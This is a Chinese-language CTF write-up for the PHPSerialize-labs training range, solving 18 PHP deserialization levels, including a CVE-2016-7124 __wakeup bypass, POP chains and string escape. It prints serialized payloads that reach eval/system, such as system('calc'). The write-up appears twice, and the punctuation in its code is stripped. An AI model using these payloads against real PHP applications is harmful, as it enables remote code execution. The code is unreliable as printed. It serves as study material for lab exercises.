前言本教程使用的是探姬的靶场参考http://github.com/ProbiusOfficial/PHPSerialize-labs刚学了php的反序列化来写个wp记录一下吧。Level 1: 类的实例化存在__construct函数当对象创建时调用可以使用new FLAG();触发提交POSTcodenew FLAG();Level 2: 对象中值的传递观察代码中$target-get_free_flag();调用函数get_free_flag()从而输出$this-free_flag;由于源代码中已经有类的创建了我们只需要将变量$flag_string赋值给$target-free_flag即可code$target-free_flag$flag_string;Level 3: 对象中值的权限分析代码发现存在不同修饰符public、protected和private其中public修饰的变量可以直接输出而protected和private修饰的变量需要通过函数get_protected_flag() 和get_private_flag() 输出所有可以得到下面语句来获取完整flag$target-public_flag.$target-get_protected_flag().$target-get_private_flag();对应提交的POST语句codeecho $target-public_flag.$target-get_protected_flag().$target-get_private_flag();Level 4: 序列化初体验这道题目已经使用$flag_is_here new FLAG();从而触发__construct方法所以我们只需要通过序列化$flag_is_here并输出即可提交POSTcodeecho serialize($flag_is_here);得到的序列字符串提取出flag即可连起来应该是ser4l1ze2se3meLevel 5: 序列化的普通值规则分析源码发现这道题是考察不同数据类型的序列化所以直接按照对应的规则序列化后提交即可构造对用的POST语句?php class a_class{ public $a_value HelloCTF; } $your_object new a_class(); $your_boolean true; $your_NULL null; $your_string IWANT; $your_number 1; $your_object-a_value FLAG; $your_array array(aPlz,bGive_M3); $exp o.serialize($your_object).s.serialize($your_string).a.serialize($your_array).i.serialize($your_number).b.serialize($your_boolean).n.serialize($your_NULL); echo $exp;POST提交oO:7:a_class:1:{s:7:a_value;s:4:FLAG;}aa:2:{s:1:a;s:3:Plz;s:1:b;s:7:Give_M3;}ss:5:IWANT;ii:1;bb:1;nN;Level 6: 序列化的权限修饰规则分析代码可知道只需要将序列化的对象protectedKEY和privateKEY进行url编码后即可因为直接提交的话%00的参数由于无法显示则无法提交POST成功先构造POST?php // 类演示protected属性序列化 class protectedKEY{ protected $protected_key protected_key; // protected属性 // 方法不会被序列化只序列化属性 function get_key(){ return $this-protected_key; } } // 类演示private属性序列化 class privateKEY{ private $private_key private_key; // private属性 // 方法不会被序列化 function get_key(){ return $this-private_key; } } // 生成序列化payload用于URL传输 // protected序列化特征%00*%00属性名 // private序列化特征%00类名%00属性名 echo protected_key . urlencode(serialize(new protectedKEY())) . private_key . urlencode(serialize(new privateKEY())); ?运行得到POST参数protected_keyO%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7Dprivate_keyO%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7DLevel 7: 实例化和反序列化分析代码可知我们可以通过控制$flag_command变量来序列化对象FLAG从而实现命令执行构造POST请求?php class FLAG{ public $flag_command system(calc);; function backdoor(){ eval($this-flag_command); } } echo serialize(new FLAG());输出 O:4:FLAG:1:{s:12:flag_command;s:15:system(calc);;}通过提交oO:4:FLAG:1:{s:12:flag_command;s:15:system(calc);;}即可执行命令Level 8: 构造函数和析构函数以及GC机制分析代码可知这关存在两个魔术方法__destruct和__construct__construct是当对象实例化时触发而__destruct是在对象被摧毁时触发所以我们可以通过不断的对对象RELFLAG序列化和反序列化从而使得$flag 5 即可输出flag提交POST codeserialize(new RELFLAG());提交POST codeserialize(unserialize(serialize(new RELFLAG())));以此类推...直到提交POSTcodeunserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));从而获取flagLevel 9: 构造函数的后门分析代码我们可以通过构造序列化的对象从而成功反序列化然后触发__destruct方法并且可以通过修改$flag_command来执行命令这关类似于Level 7构造序列化字符串?php class FLAG { var $flag_command echo HelloCTF;; //执行的命令 public function __destruct() { $this-flag_command; } } echo serialize(new FLAG());得到 O:4:FLAG:1:{s:12:flag_command;s:16:echo HelloCTF;;}POST提交oO:4:FLAG:1:{s:12:flag_command;s:16:echo HelloCTF;;}Level 10: __wakeup()分析代码使用__wakeup魔术方法在对象反序列化之前触发由于FLAG()对象没有属性可以直接对class FLAG{} 进行序列化得到得到 O:4:FLAG:0:{}所以提交POSToO:4:FLAG:0:{}Level 11: __wakeup() CVE-2016-7124分析源代码可知有__destruct()和__wakeup()两个魔术方法其中__wakeup()是在反序列化之前触发而__destruct()是在实例化对象被摧毁时触发及反序列化后触发所以会导致$flag变量被赋值为NULL,但是当序列化字符串中声明的属性个数大于实际属性个数时__wakeup()方法不会被执行所以可以先构造序列化将属性个数修改即可。参考CVE-2016-7124 漏洞说明影响版本PHP5 5.6.25, PHP7 7.0.10 注意需要切换php版本漏洞原理当反序列化时如果序列化字符串中指定的属性个数大于实际属性个数就会跳过__wakeup()魔术方法的执行。利用原理// 当序列化字符串中表示对象属性个数的值大于真实属性个数时//PHP 7.2之前版本会跳过 __wakeup() 执行// 例如O:4:FLAG:2:{s:4:flag;s:8:FAKEFLAG;}// 将 2改成大于2的数即可绕过1.先构造正常的序列化字符串?php class FLAG { public $flag FAKEFLAG; } echo serialize(new FLAG());得到O:4:FLAG:1:{s:4:flag;s:8:FAKEFLAG;}2.将序列修改为O:4:FLAG:2:{s:4:flag;s:8:FAKEFLAG;}然后通过POST提交即可Level 12: __sleep()进入关卡怎报错了哦这里记得把php版本改回来php5.4即可分析源码乍一看奇奇怪怪的东西先不管一眼看到存在魔术方法__sleep()序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在该方法会先被调用然后才执行序列化操作。我们可以通过控制chance参数指定要返回的属性名让__sleep()方法返回包含父类私有属性在内的所有12个FLAG片段对应的属性名从而在序列化结果中一次性获取完整的FLAG。这里注意下是通过GET提交对应提交参数顺序参考源代码中的//* FLAG is $h $e $l $I $o $c $t $f $f $l $a $g */注意$h $e $l $I $o $c $t $f来自CHALLENGE对象$f $l $a $g来自FLAG对象在序列化时注意不同修饰符的变量?chanceh?chancee?chancel?chanceI?chanceo?chancec?chancet?chance%00FLAG%00f 注意private修饰?chance%00FLAG%00l 注意private修饰?chance%00*%00a 注意protected修饰?chanceg最后拼接得到HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}这里不懂的可以先去看看代码的含义可能需要多揣摩下吃了php的亏qwq参考代码注释?php /* --- HelloCTF - 反序列化靶场 关卡 12 : sleep! --- */ // 父类 FLAG - 包含真正的flag片段 class FLAG { // 私有属性需要用 \0FLAG\0属性名 格式访问 private $f; // 值 clean_ private $l; // 值 up_ // 受保护属性需要用 \0*\0属性名 格式访问 protected $a; // 值 4nd_ // 公有属性直接用属性名访问 public $g; // 值 select_variab1es} // 干扰属性 - 只为了在序列化时显示这些 public $x,$y,$z; // __sleep() 魔术方法 - 决定序列化哪些属性 public function __sleep() { // 只返回 x,y,z隐藏了真正的flag属性 return [x,y,z]; } } // 子类 CHALLENGE - 继承FLAG class CHALLENGE extends FLAG { // 公有属性 - 包含大部分flag片段 public $h HelloCTF{; // flag开头 public $e Th3_; // 第二部分 public $l __sleep_function_; // 第三部分 public $I _is_; // 第四部分 public $o called_; // 第五部分 public $c before_; // 第六部分 public $t serialization_; // 第七部分 public $f t0_; // 第八部分 // chance方法 - 从GET参数获取要序列化的属性名 function chance() { // 返回用户通过 ?chance 指定的值 return $_GET[chance]; } // 子类的 __sleep() 方法 - 关键 public function __sleep() { /* FLAG的拼接顺序 $h $e $l $I $o $c $t $f $f $l $a $g (注意有两个$f和两个$l分别来自子类和父类) */ // 所有可能的属性名列表 $array_list [h,e,l,I,o,c,t,f,f,l,a,g]; // 随机选择两个属性名可能重复 $_ array_rand($array_list); // 随机索引 0-11 $__ array_rand($array_list); // 随机索引 0-11 // 返回三个属性名 // 1. 第一个随机属性 // 2. 第二个随机属性 // 3. 用户通过chance指定的属性 return array($array_list[$_], $array_list[$__], $this-chance()); } } // 测试序列化FLAG类 - 只会显示x,y,z $FLAG new FLAG(); echo serialize($FLAG); // O:4:FLAG:3:{s:1:x;N;s:1:y;N;s:1:z;N;} // 测试序列化CHALLENGE类 - 通过__sleep()控制显示的属性 echo serialize(new CHALLENGE()); // 输出示例O:9:CHALLENGE:3:{s:1:f;s:3:t0_;s:1:f;s:3:t0_;s:1:l;s:17:__sleep_function_;} /* 总结 1. __sleep() 返回什么属性名序列化结果就包含什么属性的值 2. 可以通过 chance 参数控制要显示的属性 3. 父类的私有/保护属性需要用特殊格式访问 - 父类私有属性: \0FLAG\0属性名 - 受保护属性: \0*\0属性名 - 公有属性: 直接使用属性名 4. 目标获取所有12个属性的值按顺序拼接得到flag */Level 13: __toString()__tostring方法的触发条件是把对象被当做字符串调用d只需要提交oecho $obj;即可触发Level 14: __invoke()分析存在魔术方法__invoke,触发时机把对象被当做函数调用代码中已经实例化了FLAG对象只需提交o$obj(get_flag);即可Level 15: POP链前置第一步eval($this-cmd-a-b-c); 关键代码需要用action和函数触发所以可以定位到对象D的__wakeUp() 方法wakeup触发需要反序列化先创建d并序列化然后即可通过unserialize($_POST[o]);反序列化触发__wakeUp()$d new D(); serialize($d);第二步__wakeUp()触发后执行 $this-d-action(); 这里对应的是$d-d-action(),$d-d是D类中的属性由于他调用了action方法所以需要将属性d赋值为一个存在action方法的对象所以显然还需要把实例化destnation对象赋给的D类的属性d这样就成功触发action()$dest new destnation(); $d new D($dest); // 传入 实例化对象 $dest 赋值给 cmd属性 serialize($d);第三步成功执行到 eval($this-cmd-a-b-c); ,这里的$this-cmd又是应该一个对象并且该对象有a属性所以我们需要实例化A对象并将其赋值给 destnation对象的cmd属性。$a new A(); $dest new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d new D($dest); // 传入 实例化对象 $dest 赋值给 d属性 serialize($d);第四步然后执行到$this-cmd-a-b同理可知这里的$this-cmd-a又是应该一个对象并且该对象有b属性所以我们需要实例化B对象并将其赋值给A对象的a属性。$b new B(); $a new A($b); // 传入 实例化对象 $b 赋值给 a 属性 $dest new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d new D(); $d-d $dest; serialize($d);然后以此类推到了$this-cmd-a-b-c这里的$this-cmd-a-b又是应该一个对象并且该对象有c属性所以我们需要实例化C对象并将其赋值给B对象的b属性。下面是完整构造php代码?php class A { public $a; public function __construct($a) { $this-a $a; } } class B { public $b; public function __construct($b) { $this-b $b; } } class C { public $c; public function __construct($c) { $this-c $c; } } class D { public $d; public function __construct($d) { $this-d $d; } } class destnation { var $cmd; public function __construct($cmd) { $this-cmd $cmd; } } $c new C(echo 123;); // 传入 命令字符串 测试代码执行 $b new B($c); // 传入 实例化对象 $c 赋值给 b 属性 $a new A($b); // 传入 实例化对象 $b 赋值给 a 属性 $dest new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d new D($dest); // 传入 实例化对象 $dest 赋值给 d属性 echo serialize($d); ?运行后得到O:1:D:1:{s:1:d;O:10:destnation:1:{s:3:cmd;O:1:A:1:{s:1:a;O:1:B:1:{s:1:b;O:1:C:1:{s:1:c;s:9:echo 123;;}}}}}Level 16: POP链构造1、首先我们定位到关键代码 A类的 return $flag ,前面有include $this-a,所以们需要将A类的属性a赋值为flag.php才能输出flag。$a new A();$a-a flag.php2、然后思考如何触发 __invoke,触发条件是 把对象当做函数调用观察整个源代码发现B类最后一段存在 echo $f(); 然后前一段代码是$f $this-b,所以可以将B类中的属性b赋值为对象A即可触发 A类中的__invoke方法。$b new B();$b-b $a;3、接下来考虑触发B类的__toString方法触发添加是将对象以字符串函数输出观察INIT类中有echo $this-name,于是可以将name属性赋值为B类从而触发__toString$init new INIT();$init-name $b;所以完整的构造php代码如下?php class A { public $a; } class B { public $b; } class INIT { public $name; } $a new A(); $a-a flag.php; #用于输出flag $b new B(); $b-b $a; #用于触发 __invoke $init new INIT(); $init-name $b; #用于触发 __tostring echo serialize($init); #用于触发__wakeup得到O:4:INIT:1:{s:4:name;O:1:B:1:{s:1:b;O:1:A:1:{s:1:a;s:8:flag.php;}}}Level 17:字符串逃逸基础-无中生有分析代码可知输出flag有两个条件一个是变量$a的类型是A类对象对象的属性helloctfcmd的值为get_flag所以我们只需要构造一个A类的序列化并且给他加上一个helloctfcmd属性值为get_flag即可O:1:A:1:{s:11:helloctfcmd;s:8:get_flag;}Level 18:字符串逃逸基础-尾部判定分析源代码可知获取flag同样需要两个条件一是变量$flag必须是FLAG类二是该类存在key参数其值为GET_FLAG该题目中我们可以通过输入控制$target和$change变量然后通过str_replace函数将序列化的字符串中的所有$target替换为$change,在不替换的时候序列化字符串如下O:4:Demo:3:{s:1:a;s:5:Hello;s:1:b;s:3:CTF;s:3:key;s:20:GET_FLAG;}FAKE_FLAG;}首先我们可以尝试将$target赋值为Demo , $change赋值为 FLAG从而满足条件一但是这样无法满足key值为GET_FLAG, 所以我们可以利用序列化字符的结束标志;}来构造将$target赋值为Demo而 $change赋值为替换后从而得到O:4:FLAG:1:{s:3:key;s:8:GET_FLAG;}:3:{s:1:a;s:5:Hello;s:1:b;s:3:CTF;s:3:key;s:20:GET_FLAG;}FAKE_FLAG;}由于出现 ;} 所以将后面的序列化字符直接截断了满足了 获取flag的条件。这里注意对应的字符长度和属性数量需要构造正确
探姬 PHPSerialize-labs-main 反序列化靶场解题思路
前言本教程使用的是探姬的靶场参考http://github.com/ProbiusOfficial/PHPSerialize-labs刚学了php的反序列化来写个wp记录一下吧。Level 1: 类的实例化存在__construct函数当对象创建时调用可以使用new FLAG();触发提交POSTcodenew FLAG();Level 2: 对象中值的传递观察代码中$target-get_free_flag();调用函数get_free_flag()从而输出$this-free_flag;由于源代码中已经有类的创建了我们只需要将变量$flag_string赋值给$target-free_flag即可code$target-free_flag$flag_string;Level 3: 对象中值的权限分析代码发现存在不同修饰符public、protected和private其中public修饰的变量可以直接输出而protected和private修饰的变量需要通过函数get_protected_flag() 和get_private_flag() 输出所有可以得到下面语句来获取完整flag$target-public_flag.$target-get_protected_flag().$target-get_private_flag();对应提交的POST语句codeecho $target-public_flag.$target-get_protected_flag().$target-get_private_flag();Level 4: 序列化初体验这道题目已经使用$flag_is_here new FLAG();从而触发__construct方法所以我们只需要通过序列化$flag_is_here并输出即可提交POSTcodeecho serialize($flag_is_here);得到的序列字符串提取出flag即可连起来应该是ser4l1ze2se3meLevel 5: 序列化的普通值规则分析源码发现这道题是考察不同数据类型的序列化所以直接按照对应的规则序列化后提交即可构造对用的POST语句?php class a_class{ public $a_value HelloCTF; } $your_object new a_class(); $your_boolean true; $your_NULL null; $your_string IWANT; $your_number 1; $your_object-a_value FLAG; $your_array array(aPlz,bGive_M3); $exp o.serialize($your_object).s.serialize($your_string).a.serialize($your_array).i.serialize($your_number).b.serialize($your_boolean).n.serialize($your_NULL); echo $exp;POST提交oO:7:a_class:1:{s:7:a_value;s:4:FLAG;}aa:2:{s:1:a;s:3:Plz;s:1:b;s:7:Give_M3;}ss:5:IWANT;ii:1;bb:1;nN;Level 6: 序列化的权限修饰规则分析代码可知道只需要将序列化的对象protectedKEY和privateKEY进行url编码后即可因为直接提交的话%00的参数由于无法显示则无法提交POST成功先构造POST?php // 类演示protected属性序列化 class protectedKEY{ protected $protected_key protected_key; // protected属性 // 方法不会被序列化只序列化属性 function get_key(){ return $this-protected_key; } } // 类演示private属性序列化 class privateKEY{ private $private_key private_key; // private属性 // 方法不会被序列化 function get_key(){ return $this-private_key; } } // 生成序列化payload用于URL传输 // protected序列化特征%00*%00属性名 // private序列化特征%00类名%00属性名 echo protected_key . urlencode(serialize(new protectedKEY())) . private_key . urlencode(serialize(new privateKEY())); ?运行得到POST参数protected_keyO%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7Dprivate_keyO%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7DLevel 7: 实例化和反序列化分析代码可知我们可以通过控制$flag_command变量来序列化对象FLAG从而实现命令执行构造POST请求?php class FLAG{ public $flag_command system(calc);; function backdoor(){ eval($this-flag_command); } } echo serialize(new FLAG());输出 O:4:FLAG:1:{s:12:flag_command;s:15:system(calc);;}通过提交oO:4:FLAG:1:{s:12:flag_command;s:15:system(calc);;}即可执行命令Level 8: 构造函数和析构函数以及GC机制分析代码可知这关存在两个魔术方法__destruct和__construct__construct是当对象实例化时触发而__destruct是在对象被摧毁时触发所以我们可以通过不断的对对象RELFLAG序列化和反序列化从而使得$flag 5 即可输出flag提交POST codeserialize(new RELFLAG());提交POST codeserialize(unserialize(serialize(new RELFLAG())));以此类推...直到提交POSTcodeunserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));从而获取flagLevel 9: 构造函数的后门分析代码我们可以通过构造序列化的对象从而成功反序列化然后触发__destruct方法并且可以通过修改$flag_command来执行命令这关类似于Level 7构造序列化字符串?php class FLAG { var $flag_command echo HelloCTF;; //执行的命令 public function __destruct() { $this-flag_command; } } echo serialize(new FLAG());得到 O:4:FLAG:1:{s:12:flag_command;s:16:echo HelloCTF;;}POST提交oO:4:FLAG:1:{s:12:flag_command;s:16:echo HelloCTF;;}Level 10: __wakeup()分析代码使用__wakeup魔术方法在对象反序列化之前触发由于FLAG()对象没有属性可以直接对class FLAG{} 进行序列化得到得到 O:4:FLAG:0:{}所以提交POSToO:4:FLAG:0:{}Level 11: __wakeup() CVE-2016-7124分析源代码可知有__destruct()和__wakeup()两个魔术方法其中__wakeup()是在反序列化之前触发而__destruct()是在实例化对象被摧毁时触发及反序列化后触发所以会导致$flag变量被赋值为NULL,但是当序列化字符串中声明的属性个数大于实际属性个数时__wakeup()方法不会被执行所以可以先构造序列化将属性个数修改即可。参考CVE-2016-7124 漏洞说明影响版本PHP5 5.6.25, PHP7 7.0.10 注意需要切换php版本漏洞原理当反序列化时如果序列化字符串中指定的属性个数大于实际属性个数就会跳过__wakeup()魔术方法的执行。利用原理// 当序列化字符串中表示对象属性个数的值大于真实属性个数时//PHP 7.2之前版本会跳过 __wakeup() 执行// 例如O:4:FLAG:2:{s:4:flag;s:8:FAKEFLAG;}// 将 2改成大于2的数即可绕过1.先构造正常的序列化字符串?php class FLAG { public $flag FAKEFLAG; } echo serialize(new FLAG());得到O:4:FLAG:1:{s:4:flag;s:8:FAKEFLAG;}2.将序列修改为O:4:FLAG:2:{s:4:flag;s:8:FAKEFLAG;}然后通过POST提交即可Level 12: __sleep()进入关卡怎报错了哦这里记得把php版本改回来php5.4即可分析源码乍一看奇奇怪怪的东西先不管一眼看到存在魔术方法__sleep()序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在该方法会先被调用然后才执行序列化操作。我们可以通过控制chance参数指定要返回的属性名让__sleep()方法返回包含父类私有属性在内的所有12个FLAG片段对应的属性名从而在序列化结果中一次性获取完整的FLAG。这里注意下是通过GET提交对应提交参数顺序参考源代码中的//* FLAG is $h $e $l $I $o $c $t $f $f $l $a $g */注意$h $e $l $I $o $c $t $f来自CHALLENGE对象$f $l $a $g来自FLAG对象在序列化时注意不同修饰符的变量?chanceh?chancee?chancel?chanceI?chanceo?chancec?chancet?chance%00FLAG%00f 注意private修饰?chance%00FLAG%00l 注意private修饰?chance%00*%00a 注意protected修饰?chanceg最后拼接得到HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}这里不懂的可以先去看看代码的含义可能需要多揣摩下吃了php的亏qwq参考代码注释?php /* --- HelloCTF - 反序列化靶场 关卡 12 : sleep! --- */ // 父类 FLAG - 包含真正的flag片段 class FLAG { // 私有属性需要用 \0FLAG\0属性名 格式访问 private $f; // 值 clean_ private $l; // 值 up_ // 受保护属性需要用 \0*\0属性名 格式访问 protected $a; // 值 4nd_ // 公有属性直接用属性名访问 public $g; // 值 select_variab1es} // 干扰属性 - 只为了在序列化时显示这些 public $x,$y,$z; // __sleep() 魔术方法 - 决定序列化哪些属性 public function __sleep() { // 只返回 x,y,z隐藏了真正的flag属性 return [x,y,z]; } } // 子类 CHALLENGE - 继承FLAG class CHALLENGE extends FLAG { // 公有属性 - 包含大部分flag片段 public $h HelloCTF{; // flag开头 public $e Th3_; // 第二部分 public $l __sleep_function_; // 第三部分 public $I _is_; // 第四部分 public $o called_; // 第五部分 public $c before_; // 第六部分 public $t serialization_; // 第七部分 public $f t0_; // 第八部分 // chance方法 - 从GET参数获取要序列化的属性名 function chance() { // 返回用户通过 ?chance 指定的值 return $_GET[chance]; } // 子类的 __sleep() 方法 - 关键 public function __sleep() { /* FLAG的拼接顺序 $h $e $l $I $o $c $t $f $f $l $a $g (注意有两个$f和两个$l分别来自子类和父类) */ // 所有可能的属性名列表 $array_list [h,e,l,I,o,c,t,f,f,l,a,g]; // 随机选择两个属性名可能重复 $_ array_rand($array_list); // 随机索引 0-11 $__ array_rand($array_list); // 随机索引 0-11 // 返回三个属性名 // 1. 第一个随机属性 // 2. 第二个随机属性 // 3. 用户通过chance指定的属性 return array($array_list[$_], $array_list[$__], $this-chance()); } } // 测试序列化FLAG类 - 只会显示x,y,z $FLAG new FLAG(); echo serialize($FLAG); // O:4:FLAG:3:{s:1:x;N;s:1:y;N;s:1:z;N;} // 测试序列化CHALLENGE类 - 通过__sleep()控制显示的属性 echo serialize(new CHALLENGE()); // 输出示例O:9:CHALLENGE:3:{s:1:f;s:3:t0_;s:1:f;s:3:t0_;s:1:l;s:17:__sleep_function_;} /* 总结 1. __sleep() 返回什么属性名序列化结果就包含什么属性的值 2. 可以通过 chance 参数控制要显示的属性 3. 父类的私有/保护属性需要用特殊格式访问 - 父类私有属性: \0FLAG\0属性名 - 受保护属性: \0*\0属性名 - 公有属性: 直接使用属性名 4. 目标获取所有12个属性的值按顺序拼接得到flag */Level 13: __toString()__tostring方法的触发条件是把对象被当做字符串调用d只需要提交oecho $obj;即可触发Level 14: __invoke()分析存在魔术方法__invoke,触发时机把对象被当做函数调用代码中已经实例化了FLAG对象只需提交o$obj(get_flag);即可Level 15: POP链前置第一步eval($this-cmd-a-b-c); 关键代码需要用action和函数触发所以可以定位到对象D的__wakeUp() 方法wakeup触发需要反序列化先创建d并序列化然后即可通过unserialize($_POST[o]);反序列化触发__wakeUp()$d new D(); serialize($d);第二步__wakeUp()触发后执行 $this-d-action(); 这里对应的是$d-d-action(),$d-d是D类中的属性由于他调用了action方法所以需要将属性d赋值为一个存在action方法的对象所以显然还需要把实例化destnation对象赋给的D类的属性d这样就成功触发action()$dest new destnation(); $d new D($dest); // 传入 实例化对象 $dest 赋值给 cmd属性 serialize($d);第三步成功执行到 eval($this-cmd-a-b-c); ,这里的$this-cmd又是应该一个对象并且该对象有a属性所以我们需要实例化A对象并将其赋值给 destnation对象的cmd属性。$a new A(); $dest new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d new D($dest); // 传入 实例化对象 $dest 赋值给 d属性 serialize($d);第四步然后执行到$this-cmd-a-b同理可知这里的$this-cmd-a又是应该一个对象并且该对象有b属性所以我们需要实例化B对象并将其赋值给A对象的a属性。$b new B(); $a new A($b); // 传入 实例化对象 $b 赋值给 a 属性 $dest new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d new D(); $d-d $dest; serialize($d);然后以此类推到了$this-cmd-a-b-c这里的$this-cmd-a-b又是应该一个对象并且该对象有c属性所以我们需要实例化C对象并将其赋值给B对象的b属性。下面是完整构造php代码?php class A { public $a; public function __construct($a) { $this-a $a; } } class B { public $b; public function __construct($b) { $this-b $b; } } class C { public $c; public function __construct($c) { $this-c $c; } } class D { public $d; public function __construct($d) { $this-d $d; } } class destnation { var $cmd; public function __construct($cmd) { $this-cmd $cmd; } } $c new C(echo 123;); // 传入 命令字符串 测试代码执行 $b new B($c); // 传入 实例化对象 $c 赋值给 b 属性 $a new A($b); // 传入 实例化对象 $b 赋值给 a 属性 $dest new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d new D($dest); // 传入 实例化对象 $dest 赋值给 d属性 echo serialize($d); ?运行后得到O:1:D:1:{s:1:d;O:10:destnation:1:{s:3:cmd;O:1:A:1:{s:1:a;O:1:B:1:{s:1:b;O:1:C:1:{s:1:c;s:9:echo 123;;}}}}}Level 16: POP链构造1、首先我们定位到关键代码 A类的 return $flag ,前面有include $this-a,所以们需要将A类的属性a赋值为flag.php才能输出flag。$a new A();$a-a flag.php2、然后思考如何触发 __invoke,触发条件是 把对象当做函数调用观察整个源代码发现B类最后一段存在 echo $f(); 然后前一段代码是$f $this-b,所以可以将B类中的属性b赋值为对象A即可触发 A类中的__invoke方法。$b new B();$b-b $a;3、接下来考虑触发B类的__toString方法触发添加是将对象以字符串函数输出观察INIT类中有echo $this-name,于是可以将name属性赋值为B类从而触发__toString$init new INIT();$init-name $b;所以完整的构造php代码如下?php class A { public $a; } class B { public $b; } class INIT { public $name; } $a new A(); $a-a flag.php; #用于输出flag $b new B(); $b-b $a; #用于触发 __invoke $init new INIT(); $init-name $b; #用于触发 __tostring echo serialize($init); #用于触发__wakeup得到O:4:INIT:1:{s:4:name;O:1:B:1:{s:1:b;O:1:A:1:{s:1:a;s:8:flag.php;}}}Level 17:字符串逃逸基础-无中生有分析代码可知输出flag有两个条件一个是变量$a的类型是A类对象对象的属性helloctfcmd的值为get_flag所以我们只需要构造一个A类的序列化并且给他加上一个helloctfcmd属性值为get_flag即可O:1:A:1:{s:11:helloctfcmd;s:8:get_flag;}Level 18:字符串逃逸基础-尾部判定分析源代码可知获取flag同样需要两个条件一是变量$flag必须是FLAG类二是该类存在key参数其值为GET_FLAG该题目中我们可以通过输入控制$target和$change变量然后通过str_replace函数将序列化的字符串中的所有$target替换为$change,在不替换的时候序列化字符串如下O:4:Demo:3:{s:1:a;s:5:Hello;s:1:b;s:3:CTF;s:3:key;s:20:GET_FLAG;}FAKE_FLAG;}首先我们可以尝试将$target赋值为Demo , $change赋值为 FLAG从而满足条件一但是这样无法满足key值为GET_FLAG, 所以我们可以利用序列化字符的结束标志;}来构造将$target赋值为Demo而 $change赋值为替换后从而得到O:4:FLAG:1:{s:3:key;s:8:GET_FLAG;}:3:{s:1:a;s:5:Hello;s:1:b;s:3:CTF;s:3:key;s:20:GET_FLAG;}FAKE_FLAG;}由于出现 ;} 所以将后面的序列化字符直接截断了满足了 获取flag的条件。这里注意对应的字符长度和属性数量需要构造正确